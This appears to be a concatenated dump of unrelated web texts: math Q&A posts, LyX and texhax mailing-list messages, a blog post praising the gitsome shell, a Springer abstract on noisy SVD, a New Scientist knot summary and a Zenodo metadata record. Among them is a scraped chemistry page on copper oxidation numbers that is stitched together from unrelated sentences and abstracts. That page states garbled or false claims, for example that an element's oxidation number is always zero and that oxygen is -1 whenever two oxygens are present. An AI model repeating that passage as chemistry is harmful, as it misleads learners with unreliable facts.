them.' ... the only way around it is to do what we can to break stereotypes, and to bombard girls with the opposite of the limiting female characters they get from most media: positive role models to show them, 'You have every potential within you. Develop your brain. You belong!'" ## Knots in physics "Get Knotted: They've been practising for ages, but physicists are finally learning how to tie knots in things," by Leonie Mueck, ran in the New Scientist on October 4, 2014. The short article surveys physicists' involvement with knots, starting back in the 19th century with the idea, due to William Thomson (later named Lord Kelvin), that atoms might correspond to infinitesimal looped vortices in the "lumeniferous aether," with different elements corresponding to different knots. This led to Thomson's collaborator Peter Tait drawing up the first knot tables, but was a dead end in physics. Mueck gives a quick survey of recent developments, which include: [Correction, 1/7/15: the knot-element intuition was incorrectly attributed here to Tait. Thanks to Richard Grossman for picking up this error.] Tony Phillips Stony Brook University tony at math.sunysb.edu	{}
How to love a tool - gitsome Brief discussion of the Gitsome command line interface tools productivity computing After adopting the minimalistic yet awesome Neovim as my new all-purpose text editor, I happened upon a new (and truly awesome!) shell, designed for heavy interaction with GitHub. After a few hours of playing around with this new tool, I am confident that using this new shell, playfully titled gitsome (think, “get some,” or maybe that’s just me reading in between the lines too much?), really does improve productivity tremendously. Of course nothing can take the place of Bash for general use (principally due to how ubiquitous Bash appears to be), but gitsome, and the underlying shell on which it is based (Xonsh), provides a look at what a modern shell environment ought to look like… The Xonsh shell (pun obviously intended), which claims to be a “Python-ish, BASHwards-looking shell language,” includes features which place it at a key position to unite two of the most used heavily-used languages in current use (at least in scientific computing). For anyone that spends most of there time at a terminal-like interface (whether software engineer, web developer, or, in my case, statistician), two key tools are Bash and Python – Bash because of its omnipresence, across various operating systems on both local and remote machines; and Python for its ease of syntax, utility as a so-called “superglue language”, and advanced support tools for scientific computing (the wildly popular modules Numpy and scikit-learn come to mind). Providing support for Bash and Python simultaneously makes Xonsh amazingly flexible, so it’s easy to imagine that having a foundation like Xonsh gives gitsome quite an advantage over other shell environments – I mean, when firing up gitsome gives you access to support for Bash, Python, and Git/GitHub, what more could you really ask for in a shell? Gitsome provides a powerful and automatic shell interface with autocompletion for common Git commands (including specialized additions for GitHub), while relying on Xonsh to provide support for both Bash and Pythonic commands. This means that using gitsome inherently provides full access to a whole suite of tools, many of which are the cornerstones of the toolbox of a computational scientist. The look and feel of gitsome can be fully controlled using a combination of the bashrc and xonshrc config files (and, unsurprisingly, modifying a xonshrc is very simple, in keeping with its Pythonic origins). This level of integration means that gitsome will work mostly like your personal Bash setup (that you know and love) out of the box, with any further additions you’d like to make being easily mediated through the fully configurable xonshrc. And, as if all of this additional convenient functionality were not enough, gitsome has a really sleek and shiny look to it…look, just check out all of the nice visuals on the gitsome GitHub page! Anyway, I think that pretty much concludes what I had to say about gitsome – in short, an awesome tool that really encapsulates what a modern shell environment should look like. Back to Linux - Adventures with the X1 Carbon A review of getting a new 6th-generation X1 Carbon set up with Ubuntu Linux computing productivity open source	{}
Consider the reaction below between elemental iron and copper sulfate: $\ce{Fe} + \ce{CuSO_4} \rightarrow \ce{FeSO_4} + \ce{Cu}$ In the course of the reaction, the oxidation number of $$\ce{Fe}$$ increases from zero to $$+2$$. Copper can also have oxidation numbers of +3 and +4.. ON = +2: Examples are CuCl₂, CuO, and CuSO₄.See, for example Cu 2 O nanocrystals undergo in situ surface oxidation forming CuO thin films during CO oxidation. Here, we reveal key steps for the promotion of this reaction by water when tuning the selectivity of a well-defined CeO 2 /Cu 2 O/Cu(111) catalyst from carbon monoxide and carbon dioxide to methanol under a reaction environment with methane, oxygen, and water. 1 0. Well, the oxidation number of an element is always zero. The oxidation behavior of copper has therefore received considerable interest for a very long time 1-3.At temperatures above 600 °C, it is believed that the oxidation is controlled by the lattice diffusion of copper ions through a Cu 2 O layer 4-6. Here, CO oxidation reaction on Cu 2 O(1 1 1) surface without and with biaxial strain was investigated with density functional theory. When it's with another element, ( as in copper(II) chloride), the oxidation number changes. Strain engineering has been a powerful strategy to manipulate the catalytic reaction activity. Promising low-temperature activity of an oxygen-activated zeolite, Cu-ZSM-5, has recently been reported in this selective oxidation and the active site in this reaction correlates with an absorption feature at 22,700 cm−1. 1 Answer The oxidation number of metallic copper is zero. 2Cu2O(s)+O2(g) 4CuO(s) The Change In Enthalpy Upon Reaction Of 3.93 G Cu2O(s) Is −4.01 KJ . ; When oxygen is part of a peroxide, its oxidation number is -1. . Here, we adopt a two-step method involving the reduction of Cu2+ at alkal If the question is Cu2, then it is equivalent to Cu and the oxidation number for any element is zero. Ed. In this case, it's +2 because the problem said so. The oxidation number goes from +6 in H2SO4 to +4 in SO2. 1 Introduction. Answer: Oxidation state of P is +5. Copper has a +1 or +2 charge. Oxidation number is a "mathematical construct" which is NOT the ionic charge, but a number that is useful in understanding redox reactions and for predicting the formulas of compounds. Number of times cited according to CrossRef: 3. S is reduced. KW - CuY compound. Driven by the depletion of crude oil, the direct oxidation of methane to methanol has been of considerable interest. The as‐synthesized Cu/Cu 2 O foams showed superior electrocatalytic activity towards the glycerol oxidation reaction, as demonstrated by the significant negative shift in the onset potential (ca. References; Contributors ; By the end of gen chemistry, calculating oxidation states of different metals should be pretty familiar. The Cu2O glucose electrode was prepared by in situ electrical oxidation in an alkaline solution, in which Cu2O nanoparticles were deposited on the electrode surface to form a thin film, followed by the growth of Cu(OH)2 nanorods or nanotubes. Thermal oxidation (Cu → Cu 2 O). The remarkably enhanced photocatalytic water oxidation activity over such assembled [email protected] 2 O/WO 3 composite photocatalyst was observed. We find that nearly monodisperse copper oxide nanoparticles prepared via the thermal decomposition of a Cu(I) precursor exhibit exceptional activity toward CO oxidation in CO/O2/N2 mixtures. In its compounds, the most common oxidation number of Cu is +2.Less common is +1. The bottom line: the electrons in Cu2O and CuO are shared. Assign an oxidation number of -2 to oxygen (with exceptions). Cuprous oxide (Cu2O) is an important p-type semiconductor and widely used in the electrocatalytic field. Changes in Oxidation Number in Redox Reactions. Abstract. A number of studies on the oxidation of copper at a wide range of temperature have been conducted using various oxidizing atmospheres including pure oxygen and water vapor. Catalyst Characterization The Fe3O4 nanoparticles prepared with trisodium citrate and sodium acetate presented diameters of about 100 nm by a solvothermal method. Cu-based materials have been regarded as suitable oxygen carrier (OC) candidates in chemical looping combustion as a result of their high reactivity. The oxidation of copper is an important issue both for academic research and industrial applications. 400 mV) together with an oxidation current that is up to six times higher, compared to the Cu/Cu 2 O non‐porous film with the same loading. However, the limited number of active sites and its poor conductivity make it difficult to further improve its catalytic activity. ... Cu/CuO.1,2) Plascencia et al. The oxidatuon no of oxygen is (-2) always, when two oxygens are not present , in presence of two oxygen atoms the oxidation no of oxygen is (-1). Results and Discussion 2.1. Verify the change in oxidation number.....2Cu2O(s)+Cu2S(s)---6Cu (s)+SO2(s)? The Cu(NO3)2 is an ionic compound with overall oxidation number “0”. The oxidation number of copper depends on its state. H +1 N +5 O -2 3 + Cu +1 2 O -2 → Cu +2 ( N +5 O -2 3 ) 2 + N +2 O -2 + H +1 2 O -2 KW - MA-HIP. If the question is Cu2+, then the oxidation number is +2. The thickness of the starting copper film works as a control parameter to determine the thickness (d) of the resulting Cu 2 O film. KW - Cu alloy. The oxidation number of Hydrogen (H) is +1, but it is -1 in when combined with less electronegative elements. The oxidation number of a monatomic ion equals the charge of the ion. Find an answer to your question Oxidation number of cu in cucl2 AbhishekDixit67351 is waiting for your help. Xiuping Su, Wei Chen, Yanna Han, Duanchao Wang, Juming Yao, In-situ synthesis of Cu2O on cotton fibers with antibacterial properties and reusable photocatalytic degradation of dyes, Applied Surface Science, 10.1016/j.apsusc.2020.147945, (147945), (2020). Highly selective oxidation of methane to methanol has long been challenging in catalysis. Copper(II) oxide or cupric oxide is the inorganic compound with the formula CuO. Lol, what I mean is, they give you copper(II) chloride. The oxidation number of Cu in CuO is II, i.e. The effe The oxidation number goes from 0 in Cu to +2 in CuSO4. Cu is oxidized. I'm trying to write the formula for copper {II}Chloride and don't know which oxidation number i should use for copper. studied copper oxidation in the temperature range of 300–1000°C. A black solid, it is one of the two stable oxides of copper, the other being Cu 2 O or copper(I) oxide (cuprous oxide). Cu(II)O (Copper(I) oxide (cuprous oxide, Cu2O), a red powder. The oxidation of the Cu thin films was achieved by thermal treatment in a thermal furnace. 2. As a mineral, it is known as tenorite.It is a product of copper mining and the precursor to many other copper-containing products and chemical compounds. The bonds are polar, since oxygen is more electronegative, but the electrons are shared, none the less. Question: The Oxidation Of Copper(I) Oxide, Cu2O(s) , To Copper(II) Oxide, CuO(s) , Is An Exothermic Process. The oxidation was carried out at approximately 125 μm oxygen pressure while the reduction was done at the same pressure using H 2 gas. The barriers heights of rate-determining steps (rds) in Mars-van-Krevelen, Langmuir-Hinshelwood and Eley-Rideal mechanism are strain sensitive. The (II) means it's a +2 charge. The Cu/TiO2 catalyst exhibited remarkably high activity and an overall CO oxidation could be achieved at <100 °C. 50 (2011) 12294–12298) that Cu 2 O octahedra are more active than Cu 2 O cubes in CO oxidation, we found that Cu 2 O cubes exposing {100} surface showed significantly higher activity than Cu 2 O octahedra exposing {111} surface in the reaction. The resulting Cu@Cu2O nanomaterial was successfully applied in the oxidation of catechol with high catalytic activity. In almost all cases, oxygen atoms have oxidation numbers of -2. Copper(II) oxide (cupric oxide, CuO), a black powder. Y2O3 nano-particles with typical size of 30 nm were successfully formed into the Cu intra-grains and around grain boundaries, and the density of the Y2O3 nano-particles increased by the Cu2O addition. As the average size of the cubic Cu 2 O nanocrystals decreases from 1029 nm to 34 nm, the dominant active sites contributing to the catalytic activity switch from face sites to edge sites. Hope this helps~ How old was queen elizabeth 2 when she became queen? A series of Me/TiO2 samples (Me = V, Cr, Mn, Fe, Co, Ni, Cu and Zn) with designed Me : TiO2 ratio of 1 : 10 were prepared by a photodeposition method and studied for the oxidation of CO. Cuprous oxide is any copper oxide in which the metal is in the +1 oxidation state. Chemistry. The oxidation number of copper decreases from $$+2$$ to $$0$$. The pressure of the furnace was about 1 atm while temperature was maintained at 150 °C. The present study reports on the in situ oxidation of copper to Cu 2 O and subsequent reduction to metallic copper in an environmental scanning electron microscope. In this study, [email protected] 2 O/WO 3 composite photocatalyst was constructed via coupling Cu 2 O onto the edged (200) and (020) facets of square-like WO 3 nanoplates and followed by photodeposition of Pt onto Cu 2 O. Cu2O addition promoted the oxidation of Y from the Cu6Y compound, forming Y2O3 nano-particles. Explanation: Rules for Oxidation Numbers : The oxidation number of a free element is always zero. Therefore we know that the sum of all the oxidation numbers of Cu, N, and O is equal to 0. 1. Oxidation number (also called oxidation state) is a measure of the degree of oxidation of an atom in a substance (see: Rules for assigning oxidation numbers). There are a few exceptions to this rule: When oxygen is in its elemental state (O 2), its oxidation number is 0, as is the case for all elemental atoms. PHYSICAL REVIEW B 84, 125308 (2011) Atomistic simulations of copper oxidation and Cu/Cu 2O interfaces using charge-optimized many-body potentials Bryce Devine,1 Tzu-Ray Shan( 1 ), Yu-Ting Cheng( ),1 Alan J. H. McGaughey,1, 2Minyoung Lee, Simon R. Phillpot, 1and Susan B. Sinnott ,* 1Department of Materials Science and Engineering, University of Florida, Gainesville, FL 32611-6400, USA	{}
# Math Help - Vectors w/ 2 points ! 1. ## Vectors w/ 2 points ! Write the ordered pair notation of the vector that points from C(17, -18) to B(17, -32). Find the \|\|CB\|\| and its direction. 2. Originally Posted by needmathhelptoujours Write the ordered pair notation of the vector that points from C(17, -18) to B(17, -32). Find the \|\|CB\|\| and its direction. The staionary vector pointing from the origin to C is $\vec c = \overrightarrow{OC} = (17, -18)$ and similarily $\vec b = (17, -32)$ The vector $\overrightarrow{CB} = \vec b - \vec c = (17, -32)-(17, -18) = (0,-14)$ Obviously it's length is 14 and it has the direction of the negative y-axis.	{}
# How do you solve \|x \| = 6? Mar 17, 2016 #### Answer: $\pm 6$ #### Explanation: $\| x \| \ge 0 , I f x > 0 , \| x \| = x \mathmr{and} \mathmr{if} x < 0 , \| x \| = - x$. $\| x \| = 6$ can be written as two equations x = 6 and x =$- -$6.	{}
# [texhax] command inserting space Hartmut Henkel hartmut_henkel at gmx.de Sun Nov 27 12:50:54 CET 2005 On Sun, 27 Nov 2005, Greg Matheson wrote: > But it appears I cannot have a space at the end of my command, > and get no space in the printed document. Despite the FAQ saying > spaces are gobbled, I find 'f\xx m' is appearing as 'f__ m', > rather than 'f__m'. so it seems that this space is in your \xx macro definition. Where, one can't tell without actually seeing your macro. Maybe there is an end-of-line after a closing brace, which can be hidden by a percent sign, like }% Regards, Hartmut	{}
0 like 0 dislike 243 views Let $A=\left(a_{i j}\right)$ be an $n \times n$ matrix with the property that its absolute row sums are at most 1 , that is, $\left\|a_{i 1}\right\|+\cdots+\left\|a_{\text {in }}\right\| \leq 1$ for all $i=1, \ldots, n$. Show that all of its (possibly complex) eigenvalues are in the unit disk: $\|\lambda\| \leq 1$. [SUGGESTION: Let $v=\left(v_{1}, \ldots, v_{n}\right) \neq 0$ be an eigenvector and say $v_{k}$ is the largest component, that is, $\left\|v_{k}\right\|=\max _{j=1, \ldots, n}\left\|v_{j}\right\|$. Then use the $\mathrm{k}^{\text {th }}$ row of $\lambda v=A v$, that is, $\left.\lambda v_{k}=a_{k 1} v_{1}+\cdots+a_{k n} v_{n}\right] .$ REMARK: This is a special case of: "for any matrix norm, if $\\|A\\|<1$ then $I-A$ is invertible." However, the proof of this special case can be adapted to give a deeper estimate for the eigenvalues of a matrix. \| 243 views 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike 0 like 0 dislike	{}
1 Oct 08:06 2004 On 30.09.04, José Abílio Oliveira Matos wrote: > On Thu, Sep 30, 2004 at 08:04:24AM +0200, G. Milde wrote: > > > > Reload will not work until I change something in my document. Then it prompts > > Document changed. Save? [Yes] No > > I have to set this to no, as I do not want to overwrite the external > > changes. Then importing works. > > You are aware that this is not a usual need? However, even for the "usual" need of reverting to the version on disk it would not make sense to overwrite the file you are intending to load! A warning that you loose your content could be sensible though. OTHOH, I don't think it is that unusal. Quite regularely on this list I see sed or perl scripts working on the lyx source to solve a particular problem. > In this case this a symptom, not the root of the problem. The cause is the > absence of an advanced search and replace feature inside lyx. Not really, as this was just one example for the manifold uses of external editing. Remember the Unix philosophy of small dedicated tools working together instead of one app does all. Günter -- -- G.Milde web.de 1 Oct 09:20 2004 ### Change equation, the fonts Hi: In my documents I use avant font (I have in the preamble "\renewcommand\familydefault{\sfdefault}"). But in the equation, the fonts are, not avant. There are any easy way to configure that in all the equations Thank you very much again, to all the LyX developers, I think that is a great program!! Regards. P Roca 1 Oct 10:17 2004 ### Re: [Bug 1404] A misorder problem in the .tex output if an Arabic text is doublespaced >>>>> "Angus" == Angus Leeming <leeming@...> writes: Angus> Munzir Taha wrote: >> I removed my old LyX 1.3.3 installation with its .lyx folder but >> still facing the same problem. Any hint? Angus> LyX: Bad boolean amsart-seq'. Use "false" or "true" [around Angus> line 6 of file /usr/share/lyx/textclass.lst] Angus> Ok? This file is part of your 1.3.3 installation. You have a Angus> choice: Or maybe tell us how you installed everything, so that we can understand why 1.3.5 uses the 1.3.3 directory at all. JMarc 1 Oct 13:54 2004 ### LyX Quickstart As a newbie on LyX, I'm finding Steve Litt's article to be a very http://www.troubleshooters.com/lpm/200210/200210.htm Jack 1 Oct 15:18 2004 ### Re: LyX Quickstart On Fri, Oct 01, 2004 at 06:54:13AM -0500, Jack Gill wrote: > As a newbie on LyX, I'm finding Steve Litt's article to be a very > > http://www.troubleshooters.com/lpm/200210/200210.htm Although I'm not a newbie, well at least I think so , I also find Steve's articles incisive and to the point, in a pragmatical way. Something that I lake ocasionally. > Jack -- -- José Abílio Matos LyX and docbook a perfect match. 1 Oct 15:27 2004 ### TOC Hello LyXers! I use the class article and style fancy, when i make a TOC it allways says "Contents" on both the left side and the right side of the page. sth. like this: Contents Contents ----------------------------------------- I would like to have it only on one Side e.g. left: Contents ------------------------------------------ does anyone know how change it? Grüße Matthias PS: a few weeks ago, i posted this message and didn't get a reply for it, so i try it again. Sorry for inconvinience. 1 Oct 16:23 2004 ### Transparency lost When inserting a png image without background in it, I lost the transparency if I compile the document with pdflatex (I need it because I work on a beamer presentation). Any solution to keep the transparency ? -- -- Dr. Nicolas Ferre' Laboratoire de Chimie Theorique et de Modelisation Moleculaire UMR 6517 - CNRS Universite' de Provence Case 521 - Faculte' de Saint-Jerome Av. Esc. Normandie Niemen 13397 MARSEILLE Cedex 20 (FRANCE) Tel : (+33)4.91.28.27.33 Fax : (+33)4.91.28.87.58 Please avoid sending me Word or PowerPoint attachments. See http://www.gnu.org/philosophy/no-word-attachments.html 1 Oct 17:15 2004 ### Re: Transparency lost >>Date: Fri, 01 Oct 2004 16:23:58 +0200 >>From: Nicolas Ferré <nicolas.ferre@...> >>To: lyx-users@... >>Subject: Transparency lost >>X-Enigmail-Version: 0.85.0.0 >>X-Enigmail-Supports: pgp-inline, pgp-mime >> >>When inserting a png image without background in it, I lost the >>transparency if I compile the document with pdflatex (I need it because >>I work on a beamer presentation). >>Any solution to keep the transparency ? Since I noticed this (as pdflatex compilation is much faster), I use export to pdf in xfig, works fine. I use also xfig as an eps importer/pdf exporter in fact. I did not check convert -transparent white foo.png foo.pdf -- -- Jean-Pierre 1 Oct 17:43 2004 ### maths fonts Dear Lyx list, I have just installed Lyx 1.3.4 on an RH9 system and all is fine ... except that math symbols do not appear in the maths boxes. For example, I type \theta into the maths box and what I get, in red text, is just theta Everything compiles OK and shows correctly in gv - so what is missing? Regards, David Roscoe 1 Oct 17:50 2004 ### Re: maths fonts David Roscoe wrote: > Dear Lyx list, > I have just installed Lyx 1.3.4 on an RH9 system and all is fine ... > except that math symbols do not appear in the maths boxes. > For example, I type > \theta > into the maths box and what I get, in red text, is just > theta > > Everything compiles OK and shows correctly in gv - so what is missing? http://wiki.lyx.org/pmwiki.php/LyX/Troubleshooting -- -- Angus ` Gmane	{}
# Why probability measures in ergodic theory? I just had a look at Walters' introductory book on ergodic theory and was struck that the book always sticks to probability measures. Why is it the case that ergodic theory mainly considers probability measures? Is it that the important theorems, for example Birkhoff's ergodic theorem, is true only for probability measures? Or is it because of the relation with concepts from thermodynamics such as entropy? I also wish to ask one more doubt; this one slightly more technical. Probability theory always works with the Borel sigma algebra; it is rarely the case that the sigma algebra is enlarged to the Lebesgue sigma algebra for the case of the real numbers(for defining random variables) or the unit circle, for instance. In ergodic theory, do we go by this restriction, or not? That is, when ignoring sets of measure zero, do we have that subsets of measure zero are measurable? - Everything that works for probability measures should also probably work for finite measures (by mere normalization). As for infinite measure spaces, there is a well-developed theory in that case too. See Aaronson's monograph: amazon.com/… – Mark Sep 20 '11 at 10:58 The second question is addressed in this thread: mathoverflow.net/questions/31603/… – user18297 Dec 19 '11 at 20:57 The question isn't really about probability spaces, it's about finite measure. Usually the theory on classic ergodic theory (by classic I mean on finite measure spaces) is developed on probability spaces but it also works on any finite measure spaces, just take the measure normalized and everything will work fine. This hyppotesis is really needed, some theorems doens't really work on spaces that doesn't have finite measure, eg, Poincarré Reccurence Thm it's not true if you open this possibility. (Just take the transformation defined on the real line by $T(x)=x+1$. It is measure preserving but it's not recurrent.) Specificly on the Birkhoff Thm, it still valid on $\sigma$-finite spaces but it doesn't give you much information about the limit. In fact, the Birkhoff' sum converges to 0. But there's a nice theory going on $\sigma$-finite spaces with full measure infinity. Actually there is a nice book by Aaronson about infinite ergodic theory and some really good notes by Zweimüller. Things here chage a bit, eg, you don't have the property given by Poincarré Recurrence (you have to ask it as a definition).Some of the results try to chance how you make the Birkhoff sum in order to get some aditional information and can be applied to the calculus of Markov Chains. Another nice example that was object of recent study is the Boole's Transformation and it is deffined by \begin{eqnarray} B: \mathbb{R} &\rightarrow& \mathbb{R} \\ x &\mapsto& \dfrac{x^2-1}{x} \end{eqnarray} I don't know if I made myself very clear, but I recommend those texts. You should try it, it offers this theory and seek for the answer of your kind of question. Aaronson, J. - An Introduction to Infinite Ergodic Theory. Mathematical Surveys and Monographs, AMS, 1997. Zweimüller, R. - Surrey Notes on Infinite Ergodic Theory. You can get it here -	{}
## Swipe to navigate through the articles of this issue Published in: 01-08-2019 \| Research Article # Singular value decomposition of noisy data: mode corruption Authors: Brenden P. Epps, Eric M. Krivitzky Published in: Experiments in Fluids \| Issue 8/2019 ### Abstract Although the singular value decomposition (SVD) and proper orthogonal decomposition have been widely used in fluid mechanics, Venturi (J Fluid Mech 559:215–254, 2006) and Epps and Techet (Exp Fluids 48:355–367, 2010) were among the first to consider how noise in the data affects the results of these decompositions. Herein, we extend those studies using perturbation theory to derive formulae for the 95% confidence intervals of the singular values and vectors, as well as formulae for the root mean square error (rmse) of each noisy SVD mode. Moreover, we show that the rmse is well approximated by $$\epsilon /\tilde{s}_k$$ (where $$\epsilon$$ is the rms noise and $$\tilde{s}_k$$ is the singular value), which provides a useful estimate of the overall uncertainty in each mode. ### Springer Professional "Wirtschaft+Technik" Online-Abonnement Mit Springer Professional "Wirtschaft+Technik" erhalten Sie Zugriff auf: • über 69.000 Bücher • über 500 Zeitschriften aus folgenden Fachgebieten: • Automobil + Motoren • Bauwesen + Immobilien • Elektrotechnik + Elektronik • Energie + Nachhaltigkeit • Finance + Banking • Management + Führung • Marketing + Vertrieb • Maschinenbau + Werkstoffe • Versicherung + Risiko Jetzt 90 Tage mit der neuen Mini-Lizenz testen! ### Springer Professional "Technik" Online-Abonnement Mit Springer Professional "Technik" erhalten Sie Zugriff auf: • über 50.000 Bücher • über 380 Zeitschriften aus folgenden Fachgebieten: • Automobil + Motoren • Bauwesen + Immobilien • Elektrotechnik + Elektronik • Energie + Nachhaltigkeit • Maschinenbau + Werkstoffe Jetzt 90 Tage mit der neuen Mini-Lizenz testen! Appendix Available only for authorised users Footnotes 1 The SVD is related to the biorthogonal decomposition (Aubry 1991) and the method of empirical orthogonal functions (Loren 1956). The POD (Berkooz et al. 1993; Holmes et al. 1996, 1997) is related to the Karhunen–Loève transform (Karhunen 1946; Loève 1978), principal components analysis (Pearson 1901), the method of empirical eigenfunctions, and the method of snapshots (Sirovich 1987). 2 The number of data sites D is the number of individual pieces of data at each time step. For example, consider sampling two-dimensional velocity data on an $$I \times J$$ grid of field points; then $$D = 2IJ$$ is the total number of data sites. 3 Ideally, $$\mathbf{E}$$ contains i.i.d. noise drawn from a Gaussian distribution, but herein we also consider $$\mathbf{E}$$ containing spatially correlated noise, as occurs in PIV data. 4 In terms of the POD eigenvalues $${\tilde{\lambda }}_k = \tilde{s}_k^2$$, the threshold criterion (3) requires $${\tilde{\lambda }}_k > \epsilon ^2 TD$$. 5 Note that the reconstructed singular values $$\bar{s}_k$$ could be used in place of the noisy ones $$\tilde{s}_k$$, but we find this makes little difference in the predicted rmse. 6 Proof: since $$\mathbf{U}$$ is orthogonal ($$\mathbf{U}\mathbf{U}^\intercal = \mathbf{I}$$), we can write (41) as $$\mathbf{H}= \mathbf{U}{\varvec{{\Lambda }}} \mathbf{U}^\intercal$$. At the same time, $$\mathbf{H}= \mathbf{A}\mathbf{A}^\intercal = \mathbf{U}\mathbf{S}\mathbf{V}^\intercal \mathbf{V}\mathbf{S} \mathbf{U}^\intercal = \mathbf{U}\mathbf{S}^2 \mathbf{U}^\intercal$$. 7 Kato uses the notation: $$\chi$$, $$\mathbf{T}$$, and $$\mathbf{T}(\chi )$$ for $$\epsilon$$, $$\mathbf{H}$$, and $${\tilde{\mathbf{H}}}$$, respectively. Kato and Venturi use $$\mathbf{S}$$ for $$\mathbf{Q}$$. 8 If $$\mathbf{H}$$ has repeated eigenvalues, then Eq. (84) represents the weighted mean of such eigenvalues. In this case, the present theory then needs to be modified (via Kato’s reduction theory). However, these modifications complicate the analysis and prevent one from simplifying the results into forms as simple as, for example, equation (87). 9 Although matrix $$\mathbf{W}^{(1)}$$ refers to mode k, we have omitted the subscript k to facilitate referring to its $$im\text {th}$$ element as $$W^{(1)}_{im}$$. The $$i\text {th}$$ element of vector $${\tilde{\mathbf{u}}}_k$$ is $$\tilde{U}_{ik}$$. 10 Note that all odd “powers” of $$\mathbf{E}$$ average to zero, so $$\langle W^{(1)}_{im}U_{mk} \rangle = \langle W^{(3)}_{im}U_{mk} \rangle = \big \langle ( W^{(1)}_{im}U_{mk} ) \, ( W^{(2)}_{in}U_{nk} ) \big \rangle = \dots = 0$$. 11 Note that again all odd “powers” of $$\mathbf{E}$$ average to zero, so $$\langle N^{(1)}_{im}V_{mk} \rangle = \langle N^{(3)}_{im}V_{mk} \rangle = \dots = 0$$. 12 The author prefers to interpolate using a piecewise cubic Hermite interpolating polynomial, pchip, because it provides continuity of the function and its first derivative while not being susceptible to overshoots as in a cubic spline. In Matlab, $$g' = \texttt {pchip}(x,g, x')$$ returns g(x) evaluated at $$x'$$. Literature Aubry N (1991) On the hidden beauty of the proper orthogonal decomposition. Theor Comput Fluid Dyn 2:339–352 CrossRef Beltrami E (1873) Sulle funzioni bilineari. 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Cambridge University Press, Cambridge CrossRef Holmes PJ, Lumley JL, Berkooz G, Mattingly JC, Wittenberg RW (1997) Low-dimensional models of coherent structures in turbulence. Phys Rep 287:337–384 Jordan C (1874a) Mémoire sur les formes bilinéaires. J Math Pures Appl 19:35–54 MATH Jordan C (1874b) Sur la réduction des formes bilinéaires. Comptes Rend Acad Sci 78:614–617 MATH Karhunen K (1946) Zur spektraltheorie stochastischer prozesse. Ann Acad Sci Fennicae A1:34 Kato T (1976) Perturbation theory for linear operators. Springer, Berlin MATH Kourentis L, Konstantinidis E (2012) Uncovering large-scale coherent structures in natural and forced turbulent wakes by combining PIV, POD, and FTLE. Exp Fluids 52:749–763 CrossRef Kriegseis J, Dehler T, Pawlik M, Tropea C (2009) Pattern-identification study of the flow in proximity of a plasma actuator. In: 47th AIAA aerospace sciences meeting, p 1001 Li RC (1998) Relative perturbation theory: (i) eigenvalue and singular value variations. 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Messenger Math 19:1–5 MATH Sylvester JJ (1889b) On the reduction of a bilinear quantic of the nth order to the form of a sum of n products by a double orthogonal substitution. Messenger Math 19:42–46 Tu JH, Rowley CW, Luchtenburg DM, Brunton SL, Kutz JN (2013) On dynamic mode decomposition: theory and applications. arXiv:1312.0041 Utturkar Y, Zhang B, Shyy W (2005) Reduced-order description of fluid flow with moving boundaries by proper orthogonal decomposition. Inte J Heat Fluid Flow 26:276–288 CrossRef Venturi D (2006) On proper orthogonal decomposition of randomly perturbed fields with applications to flow past a cylinder and natural convection over a horizontal plate. J Fluid Mech 559:215–254 Venturi D, Karniadakis GE (2004) Gappy data and reconstruction procedures for flow past a cylinder. J Fluid Mech 519:315–336 Wedin PA (1972) Perturbation bounds in connection with singular value decomposition. BIT 12:99–111 Weyl H (1912) Das asymptotische verteilungsgesetz der eigenwerte linearer partieller differentialgleichungen (mit einer anwendung auf die theorie der hohlraumstrahlung). Math Annal 71:441–479 Yildirim B, Chryssostomidis C, Karniadakis G (2009) Efficient sensor placement for ocean measurements using low-dimensional concepts. Ocean Model 27:160–173 CrossRef Title Singular value decomposition of noisy data: mode corruption Authors Brenden P. Epps Eric M. Krivitzky Publication date 01-08-2019 Publisher Springer Berlin Heidelberg Published in Experiments in Fluids / Issue 8/2019 Print ISSN: 0723-4864 Electronic ISSN: 1432-1114 DOI https://doi.org/10.1007/s00348-019-2761-y Go to the issue	{}
## Maximin-Minimax Principle to solve game Maximin-Minimax Principle Consider a game with two players $A$ and $B$ in which player $A$ has $m$ strategies (moves) and player $B$ has $n$ strategies …	{}
EdHojeij 4 # An aircraft has a liftoff speed of 33 m/s. what minimum constant acceleration does this require if the aircraft is to be airborne after a take-off run of 240m? show work. We will use simple formula for velocity with constant acceleration. $v=v0+at$ and formula for path $x=x0+v0t+ \frac{1}{2}a t^{2}$ where: v0 - initial velocity a - constant acceleration t- time x - path x0 - initial position v0, and x0 are equal to 0 in this case, so we can simplify our formula to $v=at$ and $x= \frac{1}{2}a t^{2}$ We can modify first formula to get time $t= \frac{v}{a}$ and substitute it to second formula. $x= \frac{1}{2}*a \frac{ v^{2}}{ a^{2} } = \frac{1}{2} \frac{ v^{2} }{a}$ Now we can find acceleration $a= \frac{1}{2} \frac{ v^{2} }{x} =2.27$ m/s	{}
Preprint Open Access The computer says 'DEBT': Towards a critical sociology of algorithms and algorithmic governance Henman, Paul Dublin Core Export <?xml version='1.0' encoding='utf-8'?> <oai_dc:dc xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:oai_dc="http://www.openarchives.org/OAI/2.0/oai_dc/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.openarchives.org/OAI/2.0/oai_dc/ http://www.openarchives.org/OAI/2.0/oai_dc.xsd"> <dc:creator>Henman, Paul</dc:creator> <dc:date>2017-09-04</dc:date> <dc:description>This paper uses Australia’s automated processes to identify and recover social security over-payments as a case study to critically analyze the role of algorithms in government and public administration. The paper analyzes the algorithm in terms of: its performance with respect to its purpose; its role in public administration processes and principles; its impact on citizen-service users; and its role in politics. The paper concludes with a discussion of policy and public administrative principles that can be adopted for public sector governance and accountability with government by algorithm. </dc:description> <dc:identifier>https://zenodo.org/record/884117</dc:identifier> <dc:identifier>10.5281/zenodo.884117</dc:identifier> <dc:identifier>oai:zenodo.org:884117</dc:identifier> <dc:relation>doi:10.5281/zenodo.884116</dc:relation> <dc:relation>url:https://zenodo.org/communities/dfp17</dc:relation> <dc:rights>info:eu-repo/semantics/openAccess</dc:rights> <dc:subject>algorithm</dc:subject> <dc:subject>welfare fraud</dc:subject> <dc:subject>social security</dc:subject> <dc:subject>Australia</dc:subject> <dc:subject>procedural justice</dc:subject> <dc:title>The computer says 'DEBT': Towards a critical sociology of algorithms and algorithmic governance</dc:title> <dc:type>info:eu-repo/semantics/preprint</dc:type> <dc:type>publication-preprint</dc:type> </oai_dc:dc> 214 83 views	{}
